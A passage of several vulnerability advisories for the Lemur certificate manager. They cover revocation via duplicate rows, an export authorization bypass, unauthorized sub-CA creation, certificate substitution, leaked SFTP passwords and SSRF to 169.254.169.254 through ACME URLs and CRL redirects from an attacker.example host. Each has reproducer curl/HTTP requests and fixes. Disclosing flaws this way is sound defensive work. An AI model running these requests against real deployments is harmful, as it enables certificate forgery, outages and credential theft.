• Upload is gated only by StrictRolePermission (default-open to any non-read-only user) and accepts attacker-chosen authority + external_id + body without an AuthorityPermission check.
• Certificate.body / external_id have no uniqueness constraint, so a duplicate row is created.
• The revoke endpoint short-circuits the owner check when caller is the row creator, and the endpoint-attached guard inspects only the duplicate row.
• Issuer plugins revoke at the CA using body / external_id taken from the duplicate row under the authority's stored CA credentials.

Proof of concept / reproducer

Status: reconstructed from source report (static control-flow trace; not executed against a live CA — revoking at a real CA is destructive).

Preconditions: attacker is an authenticated Lemur user holding any role other than read-only. <VICTIM_CERT_ID> is any certificate id readable via GET /api/1/certificates.

# 1. Read the victim's body / authority / external_id (exposed to any authenticated user)
curl -sS "<TARGET_BASE_URL>/api/1/certificates/<VICTIM_CERT_ID>" \
  -H "Authorization: Bearer <AUTH_TOKEN>" \
  | jq '{body, external_id, authority: .authority.id}'

# 2. Upload a duplicate row aliasing the same CA-side certificate
curl -sS -X POST "<TARGET_BASE_URL>/api/1/certificates/upload" \
  -H "Authorization: Bearer <AUTH_TOKEN>" \
  -H "Content-Type: application/json" \
  -d '{
        "name": "victim-dup",
        "owner": "attacker@example.com",
        "body": "<VICTIM_BODY_PEM>",
        "authority": {"id": <VICTIM_AUTHORITY_ID>},
        "externalId": "<VICTIM_EXTERNAL_ID>"
      }'
# → returns {"id": <DUP_ID>, ...}; attacker is now cert.user of <DUP_ID>

# 3. Revoke the duplicate — issuer plugin revokes at the CA by body/external_id
curl -sS -X PUT "<TARGET_BASE_URL>/api/1/certificates/<DUP_ID>/revoke" \
  -H "Authorization: Bearer <AUTH_TOKEN>" \
  -H "Content-Type: application/json" \
  -d '{"crlReason": "unspecified"}'

Static-trace validation command from the source report:

grep -n 'StrictRolePermission' lemur/certificates/views.py | grep -v Authority
grep -n 'cert.authority = kwargs.get' lemur/certificates/service.py
grep -n 'g.current_user != cert.user' lemur/certificates/views.py
grep -n 'certificate.external_id\|certificate.body' \
  lemur/plugins/lemur_acme/acme_handlers.py \
  lemur/plugins/lemur_digicert/plugin.py \
  lemur/plugins/lemur_entrust/plugin.py

Source artifact: audit/harnesses/public-repo-threat-model-harness/results/netflix-lemur-100run-mythos-20260627T051129Z/findings.jsonl (run_050, finding cluster lemur-revoke-via-duplicate, 2/100 runs).

Suggested fix

Decouple CA-side revocation authority from Lemur row ownership:

1. On POST /certificates/upload, if authority is supplied enforce AuthorityPermission for that authority, and reject/ignore caller-supplied external_id.
2. Before calling plugin.revoke_certificate, look up all Certificate rows sharing the same (authority_id, serial) or body and require CertificatePermission on every match (and run the endpoint-attached check against all matches).
3. Consider a DB uniqueness constraint or dedup on (authority_id, serial) so a second row for the same CA-issued certificate cannot be created.
4. Stop exposing external_id in CertificateOutputSchema to non-owners.

Summary

The CertificateExport handler in lemur/certificates/views.py nests its entire ownership / CertificatePermission check inside an if plugin.requires_key: branch. When the selected export plugin advertises requires_key = False, the authorization check is skipped entirely and any authenticated user can invoke plugin.export(cert.body, cert.chain, cert.private_key, options) against a certificate they do not own. The handler additionally writes a "key_view" audit-log event for every call, regardless of whether the plugin actually accessed the private key, polluting the audit trail with false positives.

Root Cause

lemur/certificates/views.py:1573:

if plugin.requires_key:
    if not cert.private_key:
        return (..., 400)
    else:
        if g.current_user != cert.user:
            owner_role = role_service.get_by_name(cert.owner)
            permission = CertificatePermission(owner_role, [x.name for x in cert.roles])
            if not permission.can():
                return (..., 403)
 
log_service.create(g.current_user, "key_view", certificate=cert)   # always logged
extension, passphrase, data = plugin.export(
    cert.body, cert.chain, cert.private_key, options
)

The authorization gate is structurally inside the if plugin.requires_key: block. With requires_key = False, control falls straight through to plugin.export(...) with no ownership check. The cert.private_key is passed to the plugin regardless of the flag — the flag only describes what the plugin advertises it needs, not what it actually receives.

The only currently shipping ExportPlugin with requires_key = False is JavaTruststoreExportPlugin (lemur/plugins/lemur_jks/plugin.py), whose export() ignores the key argument and emits a public-only Java truststore. The present-day data exposure is therefore limited to public certificate material. The bug is nonetheless filed as a real authorization gap because:

1. The structural defect is latent and silent - any future requires_key = False ExportPlugin that does read cert.private_key will inherit the bypass with no test or code-review signal.
2. The unconditional log_service.create(..., "key_view", ...) call falsely records key-view events for callers who never viewed a key, weakening incident-response signal.

Affected Endpoints

| Method | Path | Source | |---|---|---| | POST | /api/1/certificates/<id>/export | lemur/certificates/views.py:1573 |

Impact

In the current codebase:

• Any authenticated user can mint a Java truststore (java-truststore-jks plugin) containing any certificate's public body and chain, without owning the certificate or holding a role with permission over it.
• The audit log records a key_view event for the calling user against that certificate, despite no private key having been accessed. Defenders investigating apparent key-view events will encounter false positives that they cannot distinguish from genuine accesses.

Latent risk:

• A future ExportPlugin author who sets requires_key = False because their plugin can operate without a key (e.g., for a fall-back code path) but still uses the key when one is provided will silently leak private keys to any authenticated user. The same code review that approves the plugin will not flag this — the authorization invariant is held by a structurally distant if-branch in the view, not by the plugin itself.

Remediation

Lift the authorization check out of the if plugin.requires_key: block so it runs for every export call:

# Authorization first, unconditionally.
if g.current_user != cert.user:
    owner_role = role_service.get_by_name(cert.owner)
    permission = CertificatePermission(owner_role, [x.name for x in cert.roles])
    if not permission.can():
        return (dict(message="You are not authorized to export this certificate."), 403)
 
if plugin.requires_key:
    if not cert.private_key:
        return (dict(message="Plugin requires a key but none is present."), 400)
    log_service.create(g.current_user, "key_view", certificate=cert)   # only when key actually accessed
 
extension, passphrase, data = plugin.export(
    cert.body, cert.chain, cert.private_key, options
)

This makes the authorization gate independent of the plugin's requires_key flag and correctly scopes the key_view audit event to calls that actually involve key access.

Steps to Reproduce

1. Set up Lemur with default configuration. Create an admin user admin and a non-admin user eve with the read-only role (or any role without certificate permissions).

2. As admin, issue a certificate. Note its id.

3. As eve, invoke export with the java-truststore-jks plugin:

   curl -X POST https://lemur.local/api/1/certificates/<cert_id>/export \
        -H "Authorization: Bearer <eve_jwt>" \
        -H "Content-Type: application/json" \
        -d '{
              "plugin": {
                "slug": "java-truststore-jks",
                "plugin_options": [
                  {"name": "passphrase", "value": "test"}
                ]
              }
            }'

4. Observe HTTP 200 with a base64-encoded JKS truststore in the response. eve had no permission over admin's certificate, yet successfully exported its public material.

5. Inspect the audit log table or lemur logs list:

   psql lemur -c "SELECT user_id, log_type, certificate_id, logged_at FROM logs
                  WHERE certificate_id = <cert_id> ORDER BY logged_at DESC LIMIT 1;"

The log row shows log_type = 'key_view' for eve against admin's certificate, despite no private key actually being accessed by the truststore plugin - confirming the audit-log pollution facet of the bug.

Summary

Repo under test: https://github.com/Netflix/lemur

When ADMIN_ONLY_AUTHORITY_CREATION=False (an explicitly supported and documented configuration), POST /api/1/authorities with type=subca never verifies that the caller holds AuthorityPermission on the supplied parent authority. The parent field is resolved by AssociatedAuthoritySchema via a raw fetch_objects(Authority, data) lookup, then passed straight through service.create → mint → cryptography-issuer.create_authority, which loads options["parent"].authority_certificate.private_key and signs a brand-new intermediate CA on the caller's behalf.

Any authenticated non-read-only user can therefore mint a sub-CA chained to any internal root whose private key Lemur holds — including roots they hold no role on — attach a role they already belong to, and immediately issue or offline-sign trusted leaf certificates for arbitrary names.

Affected route

POST /api/1/authorities (with type=subca)

Affected code

• lemur/authorities/views.py:231 — gates only on AuthorityCreatorPermission() + StrictRolePermission(); no AuthorityPermission on data['parent']
• lemur/authorities/schemas.py:58 — parent = fields.Nested(AssociatedAuthoritySchema); validate_subca only checks presence
• lemur/schemas.py:107 — AssociatedAuthoritySchema.get_object → fetch_objects(Authority, data) resolves any authority by id/name with no permission check
• lemur/plugins/lemur_cryptography/plugin.py:40 — private_key = options["authority"].authority_certificate.private_key (set from options["parent"]) signs the new intermediate
• lemur/auth/permissions.py:62 — AuthorityCreatorPermission becomes always-allow when ADMIN_ONLY_AUTHORITY_CREATION=False
• lemur/certificates/views.py:538 — is_private_authority (true for cryptography-issuer) skips USER_DOMAIN_AUTHORIZATION_PROVIDER for subsequent leaf issuance

Impact

In deployments that set ADMIN_ONLY_AUTHORITY_CREATION=False to enable self-service CA creation, any authenticated non-read-only user — with zero permission on a given internal root CA — can obtain a working intermediate CA chained to that root. They can then:

• Issue TLS certificates for arbitrary names trusted by every relying party that trusts the internal root, bypassing LEMUR_ALLOWED_DOMAINS, sensitive-domain flags, and the per-user domain-authorization plugin.
• Export the sub-CA private key and sign end-entity certificates entirely outside Lemur, defeating all in-product issuance controls.

This converts "can create a self-contained test CA" into "can mint trusted certs under any internal PKI root in the organisation". The ADMIN_ONLY_AUTHORITY_CREATION documentation does not warn operators of this consequence.

Root cause

AuthoritiesList.post evaluates AuthorityCreatorPermission (a global "may create authorities" flag) and StrictRolePermission, but never evaluates AuthorityPermission(parent.id, parent.roles) against the caller-supplied parent. AssociatedAuthoritySchema is a pure lookup schema with no authz hook, and neither authorities.service.create nor mint re-check before invoking issuer_plugin.create_authority(options). The bundled cryptography-issuer then uses the parent's stored private key directly.

Validated evidence

Static trace, confirmed by code inspection (validation status: CONFIRMED):

• parent is loaded via AssociatedAuthoritySchema (raw fetch_objects), passed unchecked through views.post → service.create → mint → plugin.create_authority → issue_certificate, where the parent authority's stored private key is read and used to sign the new intermediate.
• No call to AuthorityPermission(parent.id, ...) exists anywhere on this path.
• Precondition ADMIN_ONLY_AUTHORITY_CREATION=False is an explicitly supported config (docs/administration.rst:517).

Proof of concept / reproducer

Status: reconstructed from source report (static control-flow trace; not executed against a live CA).

Preconditions: ADMIN_ONLY_AUTHORITY_CREATION=False; attacker is an authenticated Lemur user holding any role other than read-only; <PARENT_AUTHORITY_ID> is any internal cryptography-issuer root CA the attacker holds no role on; <ATTACKER_ROLE> is any role the attacker already belongs to.

curl -sS -X POST "<TARGET_BASE_URL>/api/1/authorities" \
  -H "Authorization: Bearer <AUTH_TOKEN>" \
  -H "Content-Type: application/json" \
  -d '{
        "name": "attacker-subca",
        "owner": "attacker@example.com",
        "description": "poc",
        "type": "subca",
        "parent": {"id": <PARENT_AUTHORITY_ID>},
        "plugin": {"slug": "cryptography-issuer"},
        "roles": [{"name": "<ATTACKER_ROLE>"}],
        "commonName": "attacker-intermediate",
        "validityYears": 1
      }'

The response contains a new authority whose authority_certificate is signed by <PARENT_AUTHORITY_ID>'s private key. The caller is recorded as creator and holds <ATTACKER_ROLE> on it, so POST /api/1/certificates against the new authority succeeds (and skips allowed_issuance_for_domain because is_private_authority is true).

Static-trace validation command from the source report:

grep -n 'parent' lemur/authorities/schemas.py lemur/authorities/views.py lemur/authorities/service.py \
  && sed -n '37,55p' lemur/plugins/lemur_cryptography/plugin.py

Source artifact: audit/harnesses/public-repo-threat-model-harness/results/netflix-lemur-100run-mythos-20260627T051129Z/findings.jsonl (run_022, finding cluster lemur-subca-parent-authz, 5/100 runs).

Suggested fix

In AuthoritiesList.post (or authorities.service.create), when data.get('parent') is present, enforce AuthorityPermission(parent.id, [r.name for r in parent.roles]).can() before invoking the issuer plugin, regardless of ADMIN_ONLY_AUTHORITY_CREATION. Additionally, update the ADMIN_ONLY_AUTHORITY_CREATION documentation to state that disabling it currently grants every authenticated user the ability to chain sub-CAs off any internal root whose private key Lemur holds. Consider also requiring admin (or an explicit per-parent capability) for any type=subca creation independent of the global flag.

Summary

Repo under test: https://github.com/Netflix/lemur

The certificate create and upload endpoints accept a replaces[] (alias replacements) array that is resolved to live Certificate ORM objects with no ownership or CertificatePermission check on the referenced certificates. The SQLAlchemy Certificate.replaces append listener then immediately sets victim.notify = False and populates victim.replaced. From that point the victim certificate is excluded from auto-reissue, its expiration notifications are silenced, and the periodic certificate_rotate Celery task deploys the attacker's certificate (endpoint.certificate.replaced[0]) onto every endpoint serving the victim certificate.

Any authenticated non-read-only user can therefore silently substitute their own certificate onto production load balancers and Kubernetes secrets they hold no role on, while suppressing the legitimate certificate's lifecycle automation.

Affected route

POST /api/1/certificates POST /api/1/certificates/upload PUT /api/1/certificates/<id>

Affected code

• lemur/certificates/schemas.py:402 — replaces = fields.Nested(AssociatedCertificateSchema, missing=[], many=True) accepted on create/upload/edit
• lemur/schemas.py:152 — AssociatedCertificateSchema resolves any certificate by id/name via fetch_objects(Certificate, data) with no permission check
• lemur/certificates/views.py:651 — only StrictRolePermission().can() gates /certificates/upload; no check on data['replaces']
• lemur/certificates/models.py:506 — @event.listens_for(Certificate.replaces, 'append') sets value.notify = False on the victim
• lemur/certificates/service.py:277 — get_all_pending_reissue() filters not_(Certificate.replaced.any()), excluding the victim
• lemur/certificates/cli.py:347 — request_rotation(endpoint, endpoint.certificate.replaced[0], message, commit) deploys the attacker cert
• lemur/common/celery.py:638 — periodic certificate_rotate task runs cli_certificate.rotate(..., commit=True)
• lemur/deployment/service.py:17 — endpoint.source.plugin.update_endpoint(endpoint, new_cert) pushes to ELB/CloudFront/ACM/K8s

Impact

An authenticated insider or holder of a stolen low-privilege token can, without holding any role on a target certificate:

1. Upload a self-signed or attacker-minted certificate listing arbitrary high-value production certificate IDs in replaces.
2. Immediately disable expiration notifications and auto-reissue for those production certificates.
3. On the next scheduled certificate_rotate Celery run, have the attacker's certificate pushed to every endpoint (AWS ELB/CloudFront/ACM, Kubernetes, SFTP, etc.) currently serving the victim certificate, while the legitimate certificate is detached.

Minimum impact is fleet-wide TLS denial of service equivalent to mass revocation. Where internal clients trust the substituted chain (or combined with the sub-CA finding LEMUR-BUG-07), it escalates to TLS interception. This directly violates the invariant that a user may only modify or revoke a certificate if they are its owner, a member of an owning role, or an administrator.

Root cause

AssociatedCertificateSchema.get_object calls fetch_objects(Certificate, data) and returns the ORM rows verbatim. No caller on the create/upload/edit path iterates the resolved replaces list to enforce CertificatePermission before the model assigns them, and the Certificate.replaces append event listener mutates the victim row (notify = False) as a side effect of ORM collection assignment. The direct revoke endpoint does enforce CertificatePermission, but this replaces path achieves an equivalent or worse outcome while bypassing it entirely.

Validated evidence

Static trace, confirmed by code inspection (validation status: CONFIRMED):

• replaces is accepted in CertificateInputSchema / CertificateUploadInputSchema and resolved via fetch_objects(Certificate, ...) with no per-object authorization.
• grep -n CertificatePermission lemur/certificates/views.py shows the check is applied to PUT/DELETE/revoke/export paths but never to the replaces payload of POST /certificates or POST /certificates/upload.
• The Celery certificate_rotate task and cli.rotate() consume Endpoint.replaced.any() unconditionally and deploy replaced[0] with commit=True.

Proof of concept / reproducer

Status: reconstructed from source report (static control-flow trace; not executed against a live CA).

Preconditions: attacker is an authenticated Lemur user holding any role other than read-only (default StrictRolePermission config). <VICTIM_CERT_ID> is any certificate id readable via GET /api/1/certificates.

# 1. Upload an attacker-controlled cert that "replaces" the victim
curl -sS -X POST "<TARGET_BASE_URL>/api/1/certificates/upload" \
  -H "Authorization: Bearer <AUTH_TOKEN>" \
  -H "Content-Type: application/json" \
  -d '{
        "name": "attacker-replacement",
        "owner": "attacker@example.com",
        "body": "-----BEGIN CERTIFICATE-----\n<ATTACKER_CERT_PEM>\n-----END CERTIFICATE-----",
        "privateKey": "-----BEGIN PRIVATE KEY-----\n<ATTACKER_KEY_PEM>\n-----END PRIVATE KEY-----",
        "replaces": [{"id": <VICTIM_CERT_ID>}]
      }'

# 2. Observe victim.notify is now false and victim is queued for rotation
curl -sS "<TARGET_BASE_URL>/api/1/certificates/<VICTIM_CERT_ID>" \
  -H "Authorization: Bearer <AUTH_TOKEN>" | jq '.notify, .replaced'

# 3. On the next certificate_rotate Celery beat tick, the attacker cert is
#    deployed to every endpoint that was serving <VICTIM_CERT_ID>.

Static-trace validation command from the source report:

grep -n 'replaces' lemur/certificates/schemas.py lemur/certificates/views.py lemur/schemas.py \
  && grep -n 'CertificatePermission' lemur/certificates/views.py

Source artifact: audit/harnesses/public-repo-threat-model-harness/results/netflix-lemur-100run-mythos-20260627T051129Z/findings.jsonl (run_083, finding cluster lemur-replaces-unauth, 7/100 runs).

Suggested fix

Before persisting replaces/replacements on certificate create, upload, and edit, iterate each referenced certificate and enforce the same CertificatePermission(owner_role, cert.roles) check used by the revoke endpoint (views.py:1677-1685); reject with 403 if the caller is not creator/owner/role-member/admin for any target. Additionally, move the value.notify = False side effect out of the SQLAlchemy append listener so an authorization failure cannot leave a victim certificate partially mutated, and emit an audit_log entry whenever a certificate is marked as replaced.

Summary

Lemur's destination read endpoints -- GET /api/1/destinations and GET /api/1/destinations/<id> -- return the full set of stored plugin option values to any authenticated user, with no authorization check and no redaction of secret-bearing options. The sibling write endpoints (POST/PUT/DELETE) are gated with @admin_permission.require(http_exception=403), but the two read handlers are protected only by login_required (inherited from AuthenticatedResource). They do not even exclude read-only users.

The built-in SFTP destination plugin (sftp-destination) stores its password and privateKeyPass options in cleartext in the destinations.options column (the plugin's own docstring states "Passwords are not encrypted and stored as a plain text."). Because DestinationOutputSchema serializes every option value verbatim, any authenticated principal -- including a read-only user -- can retrieve these credentials and use them to authenticate to the remote SFTP server to which Lemur deploys certificates.

Details

Read endpoints lack the authorization that their write siblings enforce:

lemur/destinations/views.py

class DestinationsList(AuthenticatedResource):
    @validate_schema(None, destinations_output_schema)
    def get(self):                       # <-- only login_required; no admin/read-only gate
        ...
        return service.render(args)

    @validate_schema(destination_input_schema, destination_output_schema)
    @admin_permission.require(http_exception=403)   # write path IS gated
    def post(self, data=None): ...

class Destinations(AuthenticatedResource):
    @validate_schema(None, destination_output_schema)
    def get(self, destination_id):       # <-- only login_required; no admin/read-only gate
        return service.get(destination_id)

    @validate_schema(destination_input_schema, destination_output_schema)
    @admin_permission.require(http_exception=403)   # write path IS gated
    def put(self, destination_id, data=None): ...

    @admin_permission.require(http_exception=403)   # write path IS gated
    def delete(self, destination_id): ...

The output schema emits all option values, including secret ones:

lemur/destinations/schemas.py

class DestinationOutputSchema(LemurOutputSchema):
    ...
    options = fields.List(fields.Dict())          # raw option dicts, incl. {"name":"password","value":...}

    @post_dump
    def fill_object(self, data):
        if data:
            data["plugin"]["pluginOptions"] = data["options"]   # copied verbatim into plugin block too
            ...
        return data

options is the raw JSONType DB column (lemur/destinations/models.py), stored exactly as the plugin saved it. The SFTP plugin stores plaintext credentials:

lemur/plugins/lemur_sftp/plugin.py

"""
    Passwords are not encrypted and stored as a plain text.
"""
options = [
    ...
    {"name": "password",       "type": "str", "required": False, ...},   # plaintext
    {"name": "privateKeyPass", "type": "str", "required": False, ...},   # plaintext
    ...
]

There is no read-only enforcement on these GET handlers (no StrictRolePermission() call), so even users explicitly restricted to read-only access can read the secrets.

PoC

Reproduction of Lemur's exact serialization path (verbatim DestinationOutputSchema + PluginOutputSchema, marshmallow 2.21.0), fed a stored SFTP destination row with password auth:

from marshmallow import fields, post_dump, Schema

class PluginOutputSchema(Schema):                 # verbatim from lemur/schemas.py
    id = fields.Integer(); label = fields.String(); description = fields.String()
    active = fields.Boolean(); options = fields.List(fields.Dict(), dump_to="pluginOptions")
    slug = fields.String(); title = fields.String()

class DestinationOutputSchema(Schema):            # verbatim from lemur/destinations/schemas.py
    id = fields.Integer(); label = fields.String(); description = fields.String()
    active = fields.Boolean(); plugin = fields.Nested(PluginOutputSchema)
    options = fields.List(fields.Dict())
    @post_dump
    def fill_object(self, data):
        if data:
            data["plugin"]["pluginOptions"] = data["options"]
            for option in data["plugin"]["pluginOptions"]:
                if "export-plugin" in option["type"]:
                    option["value"]["pluginOptions"] = option["value"]["plugin_options"]
        return data

class Destination:                                # a stored SFTP destination row
    id = 4; label = "prod-nginx-sftp"; description = "Deploy certs via SFTP"; active = True
    options = [
        {"name": "host", "type": "str", "value": "10.0.5.20"},
        {"name": "user", "type": "str", "value": "deploy"},
        {"name": "password", "type": "str", "value": "S3cr3t-SFTP-Passw0rd!"},
        {"name": "privateKeyPass", "type": "str", "value": "rsa-key-passphrase-xyz"},
    ]
    plugin = {"slug": "sftp-destination", "title": "SFTP",
              "description": "Allow the uploading of certificates to SFTP",
              "options": [], "id": 1, "label": None, "active": None}

out = DestinationOutputSchema().dump(Destination()).data
import json; print(json.dumps(out))
assert "S3cr3t-SFTP-Passw0rd!" in json.dumps(out)
assert "rsa-key-passphrase-xyz" in json.dumps(out)

Output (truncated) -- the plaintext secrets appear in both options and plugin.pluginOptions:

{"options":[ ... {"name":"password","type":"str","value":"S3cr3t-SFTP-Passw0rd!"},
 {"name":"privateKeyPass","type":"str","value":"rsa-key-passphrase-xyz"} ...],
 "plugin":{"pluginOptions":[ ... {"name":"password","value":"S3cr3t-SFTP-Passw0rd!"} ...],
 "slug":"sftp-destination", ...}}

End-to-end, as a low-privilege (or read-only) user holding a normal Lemur JWT:

GET /api/1/destinations/4 HTTP/1.1
Host: lemur.example.com
Authorization: Bearer <low-priv-user-token>

HTTP/1.1 200 OK
{ "plugin": { "pluginOptions": [ ... {"name":"password","value":"S3cr3t-SFTP-Passw0rd!"} ... ] } }

Impact

Confidentiality breach of deployment credentials. Any authenticated Lemur user -- regardless of role, including users intentionally limited to read-only -- can enumerate all configured destinations and read their plaintext secrets. For SFTP destinations this yields the SSH password and/or the passphrase protecting the RSA key Lemur uses to push certificates. With these, an attacker authenticates directly to the remote certificate-deployment hosts, replacing or reading their TLS material -- a scope change beyond Lemur itself (S:C). The same read path exposes any other secret-bearing option a destination plugin stores in cleartext.

Suggested fix: gate the destination GET handlers with admin_permission (consistent with the write handlers), and/or redact option values whose type/name marks them as secret before serialization in DestinationOutputSchema.

Summary

The fix for GHSA-v2wp-frmc-5q3v added _validate_acme_url() to reject acme_url values not in ACME_DIRECTORY_HOST_ALLOWLIST, but the validation is only called at authority creation time (POST). The authority update endpoint (PUT /api/1/authorities/<id>) accepts and stores arbitrary options -- including a modified acme_url -- without invoking the allowlist check. Any user with an authority role (granted by an admin to allow issuing certificates via that authority) can therefore overwrite the stored acme_url with an internal IP or IMDS endpoint. The next certificate issuance via that authority causes Lemur's backend to fetch the attacker-controlled URL, achieving SSRF.

Details

Where the fix lives (POST path -- protected):

lemur/plugins/lemur_acme/plugin.py lines 333-337 (ACMEIssuerPlugin.create_authority):

for option in plugin_options:
    if option.get("name") == "certificate":
        acme_root = option.get("value")
    if option.get("name") == "acme_url":
        _validate_acme_url(option.get("value", ""))   # allowlist enforced

_validate_acme_url at line 35:

def _validate_acme_url(url):
    """Reject acme_url values that are not in the configured allowlist.

    Called at authority creation time only -- existing authorities in the DB
    were already trusted when they were created and are not re-validated.
    """
    allowed_hosts = current_app.config.get(
        "ACME_DIRECTORY_HOST_ALLOWLIST",
        {"acme-v02.api.letsencrypt.org", ...},
    )
    parsed = urlparse(url)
    if parsed.scheme != "https" or parsed.hostname not in allowed_hosts:
        raise InvalidConfiguration(...)

Where the gap is (PUT path -- unprotected):

lemur/authorities/views.py lines 405-424 (Authorities.put):

authority = service.get(authority_id)
roles = [x.name for x in authority.roles]
permission = AuthorityPermission(authority_id, roles)

if not permission.can() or not StrictRolePermission().can():
    return dict(message="You are not authorized to update this authority."), 403

return service.update(
    authority_id,
    owner=data["owner"],
    description=data["description"],
    active=data["active"],
    roles=data["roles"],
    options=data.get("options")        # stored verbatim -- no ACME URL check
)

lemur/authorities/service.py lines 28-46 (update):

def update(authority_id, description, owner, active, roles, options=None):
    authority = get(authority_id)
    authority.roles = roles
    authority.active = active
    authority.description = description
    authority.owner = owner
    if options:
        authority.options = options    # written to DB with no _validate_acme_url call
    return database.update(authority)

Where the SSRF sink is:

lemur/plugins/lemur_acme/acme_handlers.py lines 157-188:

for option in json.loads(authority.options):
    options[option["name"]] = option.get("value")
directory_url = options.get("acme_url", current_app.config.get("ACME_DIRECTORY_URL"))
...
directory = ClientV2.get_directory(directory_url, net)   # outbound HTTP to stored URL

With the default configuration (LEMUR_STRICT_ROLE_ENFORCEMENT = False, reverted in 1.9.2 per the GHSA-qcqw-jwxc-2hqg correction), StrictRolePermission().can() passes for any non-read-only user. Any user granted membership in an authority's role group by an admin can therefore call PUT /api/1/authorities/<id> to overwrite acme_url with an arbitrary URL. The allowlist enforced at creation is silently discarded.

PoC

Prerequisites:

• Lemur 1.9.2, default config (LEMUR_STRICT_ROLE_ENFORCEMENT not set, defaults to False)
• Admin grants non-admin user membership in an ACME authority's role (normal operational step to allow certificate issuance)
• Attacker has a valid Lemur session token

Step 1 -- Authenticate as the non-admin user (role: TestRootCA_operator):

POST /api/1/auth/login HTTP/1.1
Host: lemur.example.com
Content-Type: application/json

{"username": "alice", "password": "..."}

Response (truncated):

{"token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..."}

Step 2 -- Confirm identity (non-admin, no global operator role):

GET /api/1/auth/me HTTP/1.1
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...

Response:

{"username": "alice", "id": 2, "roles": [{"name": "TestRootCA_operator"}]}

Step 3 -- Overwrite acme_url with an internal IMDS endpoint via authority update:

PUT /api/1/authorities/1 HTTP/1.1
Host: lemur.example.com
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
Content-Type: application/json

{
  "owner": "security@example.com",
  "description": "Let's Encrypt Production",
  "active": true,
  "roles": [{"id": 5}, {"id": 6}, {"id": 7}],
  "options": "[{\"name\": \"acme_url\", \"value\": \"http://169.254.169.254/latest/meta-data/\"}]"
}

Response (HTTP 200 -- no validation error):

{
  "id": 1,
  "name": "TestRootCA",
  "description": "Let's Encrypt Production",
  "options": [{"name": "acme_url", "value": "http://169.254.169.254/latest/meta-data/"}],
  ...
}

Live validation output (observed on Lemur 1.9.2, 2026-06-19):

User: nonadvuln | ID: 2 | Roles: ['TestRootCA_operator']

PUT /api/1/authorities/1 -> HTTP 200
stored options: [{"name": "acme_url", "value": "http://169.254.169.254/latest/meta-data/"}]

DB confirm (psql):
SELECT options FROM authorities WHERE id=1;
"[{\"name\": \"acme_url\", \"value\": \"http://169.254.169.254/latest/meta-data/\"}]"

Step 4 -- Trigger SSRF:

Issue any certificate via authority 1 (using the same or any other user with certificate issuance rights). Lemur's celery worker calls AcmeHandler.setup_acme_client(), which executes:

directory_url = options.get("acme_url", ...)  # reads stored malicious URL
directory = ClientV2.get_directory(directory_url, net)  # outbound request

The backend issues an HTTP GET to http://169.254.169.254/latest/meta-data/, achieving SSRF to the instance metadata service (or any other internal endpoint the Lemur host can reach).

Suggested fix:

Call _validate_acme_url() inside service.update() (or in Authorities.put) whenever the options field is provided and the authority uses an ACME-based issuer plugin:

# in lemur/authorities/service.py  update()
if options:
    from lemur.plugins.lemur_acme.plugin import _validate_acme_url
    import json
    for opt in json.loads(options) if isinstance(options, str) else options:
        if opt.get("name") == "acme_url":
            _validate_acme_url(opt.get("value", ""))
    authority.options = options

Impact

An authenticated Lemur user who has been granted membership in any ACME authority's role group can overwrite that authority's acme_url with an arbitrary URL, bypassing the ACME_DIRECTORY_HOST_ALLOWLIST enforced at creation time. On the next certificate issuance via that authority, Lemur's backend issues an outbound HTTP request to the attacker-controlled URL. In cloud-hosted deployments this allows reading the instance metadata service (AWS IMDSv1, GCP metadata server, Azure IMDS), potentially yielding IAM credentials or other sensitive instance data. In on-premises or private-cloud deployments this allows probing internal services that the Lemur server can reach but external callers cannot.

Summary

The SSRF mitigation added for GHSA-54vg-pfh7-jq95 (_validate_revocation_url() in lemur /certificates/verify.py) can be bypassed. An operator-role user who uploads a certificate with attacker-controlled CRL/OCSP extensions can still make Lemur reach internal destinations (RFC1918, loopback, link-local 169.254.169.254) during verification.

Affected version

Tested against main (the commit that introduced _validate_revocation_url). The 1.9.2 release predates that guard and is vulnerable to the original SSRF (GHSA-54vg-pfh7-jq95) directly; this bypass applies to the unreleased mitigation in main. Please map the affected range to whichever release will first contain _validate_revocation_url.

Bypass 1 — HTTP redirect (deterministic)

The guard validates only the URL in the certificate; the CRL fetch then follows redirects without re-validating the target:

# lemur/certificates/verify.py:174
response = requests.get(point, timeout=(3.05, 6))   

The attacker hosts the CRL URL on a public host they control (passes the guard); that host returns 302 Location: http://169.254.169.254/.... requests follows it to the internal target the guard never inspected.

Bypass 2 — DNS rebinding / TOCTOU (probabilistic)

The guard resolves once during validation; the fetch re-resolves independently:

# lemur/certificates/verify.py:51
addr = ipaddress.ip_address(socket.gethostbyname(hostname))

A low-TTL attacker name that answers a public IP at check time and an internal IP at fetch time passes the guard but is fetched internally. Same gap affects the OCSP path (openssl ocsp -url <url>, verify.py:90-99).

Relationship to GHSA-54vg-pfh7-jq95

Incomplete-fix of that mitigation, not a duplicate. Bypass 1 is not mentioned there; bypass 2 is the rebinding gap that advisory's remediation text anticipated ("pins the resolved IP") but the code does not implement.

Affected endpoint

POST /api/1/certificates/upload (operator role) → verify_string → crl_verify / ocsp_verify. Triggered when verification runs (e.g. the check_revocation task).

PoC

1. Generate a cert with crlDistributionPoints = URI:http://attacker.example/crl.
2. That host returns 302 Location: http://169.254.169.254/latest/meta-data/... (bypass 1), or use a low-TTL rebinding name (bypass 2).
3. Upload via POST /api/1/certificates/upload as an operator user.
4. Trigger lemur certificate check_revocation.
5. Observe the request reach the internal address (tcpdump -nni any host 169.254.169.254).

Impact

Blind SSRF from the Lemur host: reach internal services and instance metadata (169.254.169.254 without IMDSv2). Response is parsed as a CRL and discarded — reachability/side-effects, not response exfiltration.

Remediation

• allow_redirects=False on CRL fetches (or re-validate every redirect hop).
• Resolve once, pin the IP, connect to the pinned address; route the OCSP URL through the same check.
• Reject names with any internal A/AAAA record.

Summary

The ACME client (used to issue certificates from Let's Encrypt / Google Public CA / private ACME CAs) connects to an acme_url, then issues requests to URLs that the ACME server returns in its directory/order/authorization/finalize responses - this is the classic ACME-client SSRF (RFC 8555 design). Lemur validates acme_url against an allowlist of public ACME directories, but only at authority creation. The authority UPDATE path (PUT /authorities/<id>) accepts a new options blob with an arbitrary acme_url and never re-validates. An attacker who is a member of an authority's role can repoint an existing ACME authority at a malicious ACME server they control, which returns internal URLs in its responses - coercing Lemur into making JWS-signed POST requests to internal services during the next certificate issuance.

Detail

